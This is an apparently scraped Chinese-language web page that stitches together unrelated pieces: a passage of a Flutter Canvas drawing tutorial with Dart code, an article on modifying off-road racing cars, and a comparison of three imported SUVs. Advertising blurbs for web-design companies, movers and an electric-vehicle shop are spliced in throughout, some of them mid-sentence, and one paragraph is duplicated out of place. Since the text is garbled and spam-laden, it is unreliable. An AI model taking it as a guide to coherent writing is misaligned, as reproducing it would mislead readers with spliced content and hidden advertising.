    ..color = Colors.red
    ..strokeWidth = 3;

  @override
  void paint(Canvas canvas, Size size) {
    var points = [
      Offset(0, 0),
      Offset(size.width / 2, size.height / 2),
      Offset(size.width, size.height),
    ];
    canvas.drawPoints(PointMode.points, points, _paint);
  }

PointMode有3種模式:

  • points:點
  • lines:將2個點繪製為線段,如果點的個數為奇數,最後一個點將會被忽略
  • polygon:將整個點繪製為一條線

繪製線

canvas.drawLine(Offset(0, 0),Offset(size.width, size.height), _paint);

繪製路徑

Paint _paint = Paint()
  ..color = Colors.red
  ..style = PaintingStyle.stroke
  ..strokeWidth = 3;

@override
void paint(Canvas canvas, Size size) {
  print('size:$size');
  var _path = Path()
    ..moveTo(0, 0)
    ..lineTo(size.width, 0)
    ..lineTo(size.width, size.height)
  ..close();
  canvas.drawPath(_path, _paint);
}

這裏注意Paint.style,還可以設置為PaintingStyle.fill,效果如下:

此時Path的路徑不要在一條直線上,否則會看不到效果。

繪製各種形狀

繪製圓形

canvas.drawCircle(Offset(size.width/2, size.height/2), 20, _paint);

繪製橢圓

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網動廣告出品的網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上她。

canvas.drawOval(Rect.fromLTRB(0, 0, size.width, size.height/2), _paint);

如果給定的Rect為正方形,那麼橢圓將會變為圓形。

繪製弧

canvas.drawArc(
    Rect.fromLTRB(0, 0, size.width, size.height), 0, pi/2, true, _paint);

繪製圓角矩形

canvas.drawRRect(
    RRect.fromLTRBR(0, 0, size.width, size.height, Radius.circular(10)), _paint)

canvas還有很多繪製函數,比如貝塞爾曲線、三次貝塞爾曲線、畫布的反轉等操作,這裏不在一一介紹。

這些函數和Android的Canvas基本一樣,如果你有Android基礎,直接套用即可。

最後奉上一個繪製玫瑰的動畫效果:

這個效果是不是很酷炫,我們看下繪製花骨朵代碼:

///
/// 繪製花骨朵
///
_drawFlower(Canvas canvas, Size size) {
  //將花變為紅色
  if (flowerPaths.length >= RoseData.flowerPoints.length) {
    var path = Path();
    for (int i = 0; i < flowerPaths.length; i++) {
      if (i == 0) {
        path.moveTo(flowerPaths[i].dx, flowerPaths[i].dy);
      } else {
        path.lineTo(flowerPaths[i].dx, flowerPaths[i].dy);
      }
    }
    _paint.style = PaintingStyle.fill;
    _paint.color = _flowerColor;
    canvas.drawPath(path, _paint);
  }
  //繪製線
  _paint.style = PaintingStyle.stroke;
  _paint.color = _strokeColor;
  //去掉最後2個點,最後2個點為了繪製紅色
  var points = flowerPaths.sublist(0, max(0, flowerPaths.length - 2));
  canvas.drawPoints(PointMode.polygon, points, _paint);
}

花骨朵的繪製只通過canvas.drawPath就實現了,其實整個玫瑰花的繪製都是通過canvas.drawPath加上動畫控制實現的。

CustomPaint可以實現任何你想要的動畫的效果,比如繪畫版就可以通過此控件實現。

獲取完整代碼方式掃碼下方二維碼回復:rose

交流

老孟Flutter博客地址(近200個控件用法):http://laomengit.com

歡迎加入Flutter交流群(微信:laomengit)、關注公眾號【老孟Flutter】:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

上新台中搬家公司提供您一套專業有效率且人性化的辦公室搬遷、公司行號搬家及工廠遷廠的搬家服務

真正越野賽車和實際買到的SUV有什麼區別?_網頁設計公司

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

2、進氣系統一輛標準的帕傑羅過水雖然沒有問題,但是速度要十分慢,快過沙子慢淌水這個道理大家都懂,但是賽車時前方的水坑也要全速沖,所以不改進氣車子過水的時候可能發動機就進水了。3、懸架懸架系統主要承擔緩衝和吸收衝擊的作用,以保護車身機械系統以及車輛電氣系統,如果懸架的強度不夠不能支持車輛飛躍等,這樣就導致每次爬坡到坡頂都必須減速,會浪費掉許多的時間。

對於越野車,不同的人有不同的理解,但是對於大多數人來說,大梁四驅就是越野車,可是如果越野賽車呢?

越野賽車大家都十分陌生,對於小編來說也一樣,不過通過這次參加騰衝站COC越野賽的機會,小編有幸感受到了真正的越野賽車的魅力。

越野賽車和越野車的區別在哪呢?

速度

歸根結底就在於速度兩字,其實對於豐田普拉多/三菱帕傑羅這類的我們熟悉的越野車來說,越野場地的大多數項目都不是問題,但是如果讓一輛原廠狀態的大切諾基來用越野賽車的跑法跑越野賽道的話,可能跑不完一圈車子就趴窩了。

原因就在於越野賽車需要有較高的速度,這樣就需要車子的輪胎/車身/懸架能夠承受更大的衝擊,因此真正的越野賽車對於這些方面都會進行改裝,那麼如果想讓你的車擁有迅速快速地跑完越野賽道的實力,需要改裝哪些地方呢?

1、輪胎

輪胎是和路面接觸的地方,越野賽場的路面可不一般,看似平坦實際上尖石粒到處都是,而越野賽車需要以70km/h左右的高速度碾壓路面,因此輪胎的耐用性十分重要,

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

而且在泥地、沙地也需要輪胎提供足夠的抓地力,在車輛飛躍的時候輪胎也需要承擔並緩衝巨大的衝擊力。所以再強的越野車,如果輪胎不行,那麼也是白搭。

2、進氣系統

一輛標準的帕傑羅過水雖然沒有問題,但是速度要十分慢,快過沙子慢淌水這個道理大家都懂,但是賽車時前方的水坑也要全速沖,所以不改進氣車子過水的時候可能發動機就進水了。

3、懸架

懸架系統主要承擔緩衝和吸收衝擊的作用,以保護車身機械系統以及車輛電氣系統,如果懸架的強度不夠不能支持車輛飛躍等,這樣就導致每次爬坡到坡頂都必須減速,會浪費掉許多的時間。

4、前後包圍

為什麼包圍要改呢?一般車輛的接近角和離去角都比較小,對於高強度越野來說肯定是不夠的,所以拆掉前後包圍是最簡單的做法,也是普遍採取的做法。

5、防翻滾架/座位

這個雖然和性能無關,但是卻是保護安全的神器,防翻滾架是每部賽車的標配,即使車輛翻滾散架,防翻滾架都會保持完整。也能夠保護車內的駕乘人員。而安全帶則無需多言了,你以為3點式安全帶夠用?

最後的最後,可能有人就會問了,我不會把車改成這個樣子啊,其實小編想說的是,有的人開車遇到溝坎減速帶什麼的都不減速的,原理其實和賽車一樣,如果你真的需要暴力開,還真的要把車子改成高強度的狀態,量產車隨便虐只會大大減少壽命,甚至會直接弄毀車輛。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

20萬預算買進口SUV 動力和個性化這三台都可以_網頁設計公司

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

一些細節方面,卡繽還是做得比較有意思的。副駕駛位的抽屜箱是橫拉打開,而非傳統的圓弧形打開,這樣駕駛員就可以在打開抽屜時,清楚看到裏面的東西。前排座椅後方用了五條限位繩來固定物品,而非傳統的網兜,這點我就覺得不慎實用。

斯巴魯XV

指導價:18.98—22.98萬

編者點評:

XV可能是這個價位區間中我們比較常見的進口SUV,以這個價格就能享受到水平對置發動機與全時四驅所帶來的快感,確實不賴。然而只有2.0L自然吸氣發動機+CVT變速箱,動力上難言充足,也僅僅是夠用而已。儘管跑得不夠快,但是有全時四驅的加持,操控性那是沒得說。

進入車廂內,XV給人的感覺比較嚴肅,到處都是黑色和銀色的內飾。不過,這也有一個好處,那就是比較耐臟。雖然整個內飾略簡單,但是從那些接線處細細一看還是能發現XV的做工有一種精緻范。

保養方面,按照4S店的建議,6萬公里下來的保養費用為10594元。這個價格就算是比較貴了,不過,想想要維護一台水平對置發動機,這又似乎變得不是那麼難以接受。

雷諾 卡繽

指導價:13.98—18.88萬

編者點評:

卡繽這台車可能很少有人聽說過,不過它可曾是歐洲小型SUV的銷量冠軍。能做冠軍肯定是有不少真材實料的。先從外形說起,卡繽採用了時下流行的雙色車身,而且都是明亮的色彩,車尾還可以選擇一些拉花,整台車看起來就是各種酷炫,相當討年輕人喜歡的風格。

動力總成方面,卡繽搭載的是1.2T渦輪增壓發動機+6速雙離合。1.2T的發動機最大功率為85KW,最大扭矩為190Nm。動力相對pSA那台1.2T發動機來說,是“書生”了一點點,不過卡繽也不是一台性能取向的車。

一些細節方面,卡繽還是做得比較有意思的。副駕駛位的抽屜箱是橫拉打開,而非傳統的圓弧形打開,

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

這樣駕駛員就可以在打開抽屜時,清楚看到裏面的東西。前排座椅後方用了五條限位繩來固定物品,而非傳統的網兜,這點我就覺得不慎實用。尾箱隔板有兩面,一面是常規的絨面,可以用來放置一些摩擦力較小的物品,防止滑動;另一面是光面,可以用來放一些比較容易弄髒的物品,這樣也便於清潔。在這點上,法國人還是想得比較細心。

保養方面,6萬公里中的保養費用為5926元。這樣的養護成本在同級別中,算是很便宜了。雷諾還給出了一個殺手鐧,那就是送車主10次免費更換機油和機油濾清器,這樣的待遇恐怕也沒哪個廠家敢給。

鈴木 吉姆尼

指導價:14.18—16.08萬

編者點評:

吉姆尼這台車是很多越野愛好者心中的完美伴侶,車身長度僅為3665mm,這樣短小精悍的車身造型可以很好地通過不少比較窄的路面,在城市中穿越也比較輕鬆,特別是在找停車位的時候,許多地方的停車位規劃並不完善,而且尺寸偏小。這時候,吉姆尼甚至比普通轎車還更容易泊進去。

不過,吉姆尼的安全配置就十分寒酸了,僅僅有ABS防抱死,連ESp都沒有。其他配置方面,也同樣乏善可陳。買回來要好好越野肯定是要先去改裝一下的,起碼給它裝兩把前橋和後橋的差速鎖。

吉姆尼的內飾可以說是樸實無華,一眼望去儘是各種塑料。話雖如此,但是它的塑料還是做得比較用心的。油耗方面,手動版的百公里平均油耗為7.7L,而自動版的則為9.3L。相差還是挺大的。可以看出,儘管吉姆尼的排量較低,但也不是一個省油的主。

除非你是一個越野愛好者,不然這台車在城市中也許只能帶給你較高的回頭率。

這三款車各有各的特點,XV算是進口車中比較常見的,卡繽則充滿陽光,相當有范,而吉姆尼顯然就屬於劍走偏鋒的類型。選擇一台進口車,同時也是選擇了另一種生活。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!